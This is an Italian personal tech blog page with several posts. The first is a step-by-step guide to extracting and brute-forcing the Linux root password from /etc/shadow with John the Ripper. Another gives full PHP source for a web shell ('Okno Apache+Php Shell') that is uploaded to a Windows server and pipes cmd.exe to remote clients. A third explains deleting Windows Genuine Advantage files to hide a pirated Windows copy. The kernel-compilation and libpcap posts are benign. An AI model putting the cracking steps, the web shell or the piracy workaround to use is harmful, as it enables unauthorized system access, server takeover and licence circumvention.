spacer.png, 0 kB

pawelzorzan . Netmind 2.0
Ricavare password da file /etc/shadow PDF Stampa E-mail

Guida al bruteforce delle password Linux /etc/shadow di Zorzan Urban Pawel

Vi illustro come eseguire un bruteforce sulle password di sistema di Linux sfruttando John The Ripper in modalità incrementale. Questo è il metodo sicuro per ottenere una password da un file shadow.
Vi premetto che essendo il metodo sicuro al 100% di ottenere la password è anche il metodo più lento perchè prova combinazioni infinite fino a trovare quella corretta, senza bisogno di un file dizionario pertanto è necessario un processore veramente veloce per diminuire i tempi di bruteforce.

Questa guida è solo a scopo informativo, pertanto non rispondo di eventuali utlizzi illegali applicati ad essa.

Questa guida è il modo migliore per testare l'efficacia delle vostre password.

Questa guida e stata testata con Linux Slackware, Gentoo e Debian, ma è valida per ogni distribuzione Linux attualemente in circolazione, vi consiglio solo di eseguirla sotto un kernel 2.6, gcc aggiornato, ed un pc con processore molto performante.

Ora iniziamo con la guida vera e propria.

-Passo 1
Scarichiamo l'ultima versione stabile del pacchetto John The Ripper che conterrà i due strumenti che ci serviranno per il bruteforce che sono "unshadow" e "john"
Quindi andiamo sul sito :
http://www.openwall.com/john/
e cerchiamo l'ultima versione, nel mio caso è 1.7.3.1 (oggi è il 25 agosto 2009 )
poi apriamo una console linux (shell) e andiamo nella caretella /root per andare a scaricare i sorgenti :
# cd /root
# wget http://www.openwall.com/john/g/john-1.7.3.1.tar.gz
Con questo procedimento abbiamo scaricato l'ultima versione stabile di John The Ripper.
-Passo 2
Procediamo con l'installazione di John The Ripper, quindi prima lo estraiamo con il comando :
# tar xvfz john-1.7.3.1.tar.gz
poi entriamo nella sua cartella di installazione dei sorgenti :
# cd john-1.7.3.1.tar.gz ; cd src
Ora prima di cominciare a compilare il pacchetto è necessario sapere che tipo di processore abbiamo, le informazioni che ci servono sono 2; se è un processore a 32bit o 64bit e se ha il supporto MMX.
Per quanto riguarda il processore dovreste saperlo voi che tipo di processore avete, mentre per sapere se hai il suppoto mmx scriviamo :
# cat /proc/cpuinfo | grep flags
e otterremo una riga come questa :
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 mmx fxsr sse
se in questa riga è presente "mmx" allora sappiamo che il mostro processore ha il supporto MMX
eccovi una lista dei pricipali sistemi per la compilazione di John Ther Ripper:
linux-x86-mmx Linux, x86 con supporto MMX (Vi consiglio questo)
linux-x86-any Linux, x86 se non sapeti il vostro processore usate questo
linux-x86-any-a.out Linux, x86 per kernel 2.4 e poca ram
linux-x86-64 Linux, AMD x86-64, per Processori 64bit
linux-x86-64-mmx Linux, AMD x86-64, 32-bit con supporto MMX
Io userò il sistema linux-x86-mmx.
la lista completa la potete ottenere scrivendo :
# make
Ora che sappiamo che sistema adottare procediamo alla compilazione con :
# make clean linux-x86-mmx
-Passo 3
Prepariamo il file da dare in pasto a John The Ripper, quindi com il comando unshadow combiniamo i file /etc/passwd e /etc/shadow :
# ../run/unshadow /etc/passwd /etc/shadow > /root/password.tutte.db
Ora abbiamo il file pronto per John The Ripper, ma a noi interessa solo una password, cioè quella di root allora creiamo un nuovo file con solo la pass di root da dare in pasto a John The Ripper :
# cat /root/password.tutte.db | grep root > /root/password.root.db
-Passo 4
Ora siamo pronti a dare in pasto a John The Ripper la password di root da scovare!
Vi avverto che John The Ripper utilizzerà il 99.9% del vostro processore, quindi quando lui stà lavorando vi conviene non fare altroo comunque utilizzare una macchina standalone per eseguire il bruteforce.
Per capirci eccovi l'andamento della macchina quando John The Ripper è in esecuzione :
# top
Tasks: 82 total, 3 running, 79 sleeping, 0 stopped, 0 zombie
Cpu(s): 100.0% user, 0.0% system, 0.0% nice, 0.0% idle
Mem: 385120k total, 371712k used, 13408k free, 82000k buffers
Swap: 2097136k total, 15452k used, 2081684k free, 124064k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
16424 root 15 0 5864 5864 480 R 99.7 1.5 12:13.69 john
Ora possiamo cominciare il bruteforce della password :
# ../run/john /root/password.root.db
Questa operazione può durare parecchio tempo a seconda della complessità della password, in questo caso ho utilizzato come password "pippo" ed ecco il risultato di John The Ripper :
Loaded 1 password hash (FreeBSD MD5 [32/32])
pippo (root)
guesses: 1 time: 0:00:01:11 (3) c/s: 3295 trying: pippo
Da qui possiamo capire che per scovare la password ci ha messo 1 minuto e 11 secondi(con un processore P4 2Ghz) e ha trovato quella corretta in 3295 tentativi.
Per rileggere la password che John The Ripper ha trovato potete utilizzare il comando :
# ../run/john -show /root/password.root.db
Per qualsiasi dubbio o critica non esitate a lasciare un commento.
La ripubblicazione di questo articolo è consentita ma solo se ne citate la fonte : Zorzan Urban Pawel http://www.pawelzorzan.eu

 

 

Comments (0)

 
Compilare Kernel Linux PDF Stampa E-mail

Compilare un kernel linux è un'operazione fondamentale per rendere più performante il nostro computer. Compilare il kernel significa dire al cuore del sistema operativo quali device sfruttiamo, i moduli che ci interessano in modo da alleggerire al massimo un kernel percompilato che ha di base una miriade di moduli inutili caricati. In più la compilazione del kernel adatta il cuore del sistema operavito perfettamente al nostro computer per sfruttare a pieno le sue potenzialità.

Innazitutto è utile sapere precisamente l'harware presentre nel nostro computer in modo da velocizzare le scelte in fase di compilazione.
Partiamo con il primo passo:
-Passo 1
Scaricare l'ultima versione del kernel disponibile e stabile!
quindi andiamo nella dir classica per i sorgenti :
# cd /usr/src
e poi mettiamo a scaricare il nuovo kernel :
# wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-x.y.z.tar.bz2
Naturalmente dovete sostituire x y e z con la versione del kernel che state per scaricare!
-Passo 2
Estraiamo il file appena scaricato nella dir dei sorgenti linux:
# tar -xjvf linux-x.y.z.tar.bz2 -C /usr/src
-Passo 3
Assicuratevi di avere il compilatore caricato sul vostro linux!
Per controllare lanciate il comando :
# gcc -v
E dovreste vedere un output tipo :
Reading specs from /usr/lib/gcc/i486-slackware-linux/3.4.6/specs
Configured with: ../gcc-3.4.6/configure --prefix=/usr --enable-shared --enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld -- verbose --target=i486-slackware-linux --host=i486-slackware-linux
Thread model: posix
gcc version 3.4.6
Se questo non accade dovete prima di tutto installare gcc sul vostro sistema linux.
-Passo 4
Ora possiamo cominciare alla compilazione del kernel.
posizioniamoci nella directory con il nuovo kernel :
# cd linux-x.y.z
I comandi per la configurazione del vostro nuovo kernel ci sono vari tipi di menu e sono i seguenti :
#make config // Configurazione a domande consecutive (molto lungo e complicato)
#make xconfig // Configurazione basata sulle libreri QT in genere per Desktop KDE
#make gconfig // Configurazione basata sulle librerie GTK in genere per Desktop Gnome
#make menuconfig //Configurazione a menu testuale (semplice e intuitivo, il mio metodo di configurazione preferito)

Ora non vi resta che decidere come configurare il vostro kernel, controllate bene quello che abilitate e disabilitate, molti moduli sono vitali per il sistema operativo, comunque per ogni voce è presente il tasto HELP, se avete dei dubbi non esitate a premerlo.

-Passo 5
Compilazione del kernel.
Creiamo l'immagine compressa del nuovo kernel (può richidere diverso tempo a senconda del vostro processore):
# make
Compiliamo i moduli del nostro kernel (può richidere diverso tempo a senconda del vostro processore):
# make modules
Installiamo i nuovi moduli nel nostro sistema Linux.
Dobbiamo avere i privilegi di amministratore quindi a seconda della vostra distribuzione loggatevi come root:
# su -
# make modules install
-Passo 6
Installiamo il nuovo kernel!
# make install
Verranno creati 3 file nella directory /boot per permettere al nuovo kernel di avviarsi. i file sono :
System.map-x.y.z
config-x.y.z
vmlinuz-x.y.z
-Passo 7
Creiamo l'immagine initrd, questo file contiene tutti i dirver dei dispositivi per per mettere al sistema operativo di avviarsi, non tutti i sistemi ne necessitano la creazione, ma per sicurezza è sempre meglio crearlo :
# cd /boot
# mkinitrd -o initrd.img-x.y.z x.y.z
-Passo 9
Ora non ci resta che istruire il nostro boot loader per avviarsi con il nuovo kernel.
Se utilizzate Grub serguite il Passo 9.1 per lilo invece il Passo 9.2.
-Passo 9.1
Editate il file /boot/grub/menu.lst :
# vi /boot/grub/menu.lst
Agiungete il seguente testo :
title Linux, kernel 2.6.25 Default
root (hd0,0)
kernel /boot/vmlinuz root=/dev/hdXX ro
initrd /boot/initrd.img-x.y.z
savedefault
boot
Attenzione a inserire la partizione corretta nella quale è installato il vostro kernel, quindi sostituite /dev/hdXX per esemprio con /dev/hda1.
Se pensate che sia troppo complicato editare il file a manina lanciate il comando di udate di grub e dovrebbe fare tutto da solo :
# update-grub
-Passo 9.2
Editate il file /etc/lilo.conf
# vi /eyc/lilo.conf
In genere la configurazione generale della partizione in lilo.conf stà nella testata quindi a voi basta asggiungere tra le opzioni di scelta del kernel le seguenti righe:
image = /boot/vmlinuz-x.y.z
label = linux
Opzioni aggiuntive :
vga = 791 // Avvia linux in un framebubber a 1024x768
root = /dev/hdXX // Dichiara in che partizione è presente il kernel
Con questo abbiamo terminato l'installazione del nostro nuovo kernel!
Ora non ci resta che riavviare:
# reboot
Spero di avervi fornito tutti i dati fondamentali per la compilzione del kernel.
Per qualsiasi dubbio o critica non esitate a lasciare un commento.
La ripubblicazione di questo articolo è consentita ma solo se ne citate la fonte : Zorzan Urban Pawel - www.pawelzorzan.eu

Saluti.

Comments (0)

 
Test con Libpcap PDF Stampa E-mail

Questo è un piccolo programmino che permette di capire il funzionamento della libpcap.

Molto utile per cominciare a capire come gestire con un programma in C delle interfacce di rete linux.

 

/* okno.dev.list.c
Zorzan Urban Pawel
compilare come segue:
>gcc okno.dev.list.c -lpcap -o okno.dev.list
*/
#include <stdio.h>
#include <stdlib.h>
#include <pcap.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int argc, char **argv)
{
char *dev;
char *net;
char *mask;
int ret;
char errbuf[PCAP_ERRBUF_SIZE];
bpf_u_int32 netp; /* indirizzo ip */
bpf_u_int32 maskp;/* subnet mask */
struct in_addr addr;
/* Chiediamo a pcap di trovare un interfaccia */
dev = pcap_lookupdev(errbuf);
/* Controllo errore */
if(dev == NULL)
{
printf("%s\n",errbuf);
exit(1);
}
/* Stampa il nome dell'interfaccia */
printf("DEV: %s\n",dev);
/* Chiediamo a php di trvare la rete e la subnet mask dell interfaccia */
ret = pcap_lookupnet(dev,&netp,&maskp,errbuf);
if(ret == -1)
{
printf("%s\n",errbuf);
exit(1);
}
/* Rendiamo leggibile la rete */
addr.s_addr = netp;
net = inet_ntoa(addr);
if(net == NULL)
{
perror("inet_ntoa");
exit(1);
}
printf("NET: %s\n",net);
/* Rendiamo leggibile la subnet mask */
addr.s_addr = maskp;
mask = inet_ntoa(addr);
if(mask == NULL)
{
perror("inet_ntoa");
exit(1);
}
printf("MASK: %s\n",mask);
return 0;
}

Comments (0)

 
Okno Apache+Php Shell PDF Stampa E-mail

Questa è una comoda utility per eseguire comandi tramite browser su un server web Apache con Php in ambiente Windows.

L'uilizzo è semplice, basta infatti uppare il file .php prensente nella sezione download sul sito e richimare da browser : http://nomesito/okno.apache.shell.php

<?php
function print_flush($text){
if (ob_get_level() == 0) ob_start();
echo $text;
ob_flush();
flush();
}
function read_request($clientsock){
$read = array($clientsock);
$write = NULL;
$except = NULL;
$buf = "";
while(socket_select($read, $write, $except, 1)){
$buf .= socket_read($clientsock, 2048);
}
return $buf;
}
function read_command($mypipe){
$buf = "";
while(!strstr($buf, "\n"))
$buf .= read_request($mypipe);
return $buf;
}
function read_until_tag($mypipe){
$buf = '';
while(!strstr($buf, 'echo -----okno Questo indirizzo e-mail è protetto dallo spam bot. Abilita Javascript per vederlo. ----')){
$buf.= fread($mypipe, 1);
}
fread($mypipe, 23);
return substr($buf, 0, -24);
}
set_time_limit(90);
ob_implicit_flush();
$address = $_SERVER ['SERVER_ADDR'];
$port = 80;
print_flush('Avvio shell<BR>');
print_flush('Mi attacco alla shell '. $address . ':80');
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
echo "socket_create() fallito: motivo: " . socket_strerror(socket_last_error()) . "\n";
exit();
}
if (!socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1)) {
echo "socket_set_option() fallito: motivo: " . socket_strerror(socket_last_error()) . "\n";
exit();
}
if (socket_bind($sock, $address, $port) === false) {
echo "socket_bind() fallito: motivo: " . socket_strerror(socket_last_error($sock)) . "\n";
exit();
}
//else
// echo 'Socket ' . $address . ':' . $port . " APERTO <br>";
if (socket_listen($sock, 1) === false) {
echo "socket_listen() fallito: motivo: " . socket_strerror(socket_last_error($sock)) . "\n";
exit();
}
else{
//print_flush( "In cerca di nuovi client..<br><br>");
if (($clientsock = socket_accept($sock)) === false) ;
echo "socket_accept() fallito: motivo: " . socket_strerror(socket_last_error($sock)) . "\n";
exit();
}
else {
socket_getpeername($clientsock, $clientIP);
print_flush("<br><br>okno_apache_shell - Richiesta da " .$clientIP . "<br>");
socket_close($sock); // Chiusura della shell
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "c:\\Windows\\temp\\error-output.txt", "a")
);
$process = proc_open("cmd.exe", $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0],"echo -----SECFORCE------\n");
$shell = read_until_tag($pipes[1]);
$shell = "\nApache + PHP socket shell by okno, scrivi 'exit' quando hai finito.\n\n" . $shell;
print_flush($shell);
socket_write($clientsock, $shell, strlen($shell));
while(1){
$command = read_command($clientsock); //Leggi comando
#print_flush($command); # Stampa comando sul browser
if ($command=="exit\n") break;
fwrite($pipes[0],$command."echo -----okno_apache_shell------\n"); //scrivi il comando nel cmd
$cmdresult = read_until_tag($pipes[1]); //leggi risulatato
socket_write($clientsock, $cmdresult, strlen($cmdresult)); //Stampa il risultato
}
print_flush("<br><br>Shell terminata<br><br>By okno");
}
else
print_flush("Errore in fase di creazione processo");
fclose($pipes[0]);
fclose($pipes[1]);
$return_value = proc_close($process);
}
socket_close($clientsock);
}
exit();
?>

 

Comments (0)

 
Rimozione Windows Genuine Advantage PDF Stampa E-mail

Guida veloce per la rimozione di Windows Genuine Advantage
Sarà capitato a tutti di avere una copia non originale di WindowsXP... e soprattuto aver installato Windows Genuine Advantage per errore sapendo di avere una copia di Windows non originale.
Continua ad apparirvi il messaggio "Attenzione Questa copia di Windows potrebbe essere contraffatta" ?
Vi siete stancati di vedere i popup Windows Genuine Advantage ?

Bene, allora il procedimento per eliminare Windows Genuine Advantage dal vostro sistema è semplicissimo.

E' necessario riavviare il computer in modalità provvisoria,
Entrare nella cartella c:\windows\system32
Eliminare i file :

  1. LegitCheckControl.ini
  2. WgaLogon.dll
  3. WgaTray.exe

Dopo aver eliminato questi file il problema è risolto.

Vi consiglio anche di disabilitare gli aggiornamento automatici, altrimenti con il successivo aggiormento Windows Genuine Advantage sarà di nuovo presente nel vostro computer, pertanto settate gli aggiormenti manualmente.

Questo metodo è stato testato con tutti i service pack di Windows XP.

Comments (0)

 
<< Inizio < Prec. 11 12 13 14 Succ. > Fine >>

Pagina 12 di 14
Ricerca in NetMind
Anonymous Okno
Menu Principale
Menu Papers
Menu Download
Menu Links
Stats
Tot. visite contenuti : 342807
 10 visitatori online
Joomla extensions by Siteground Hosting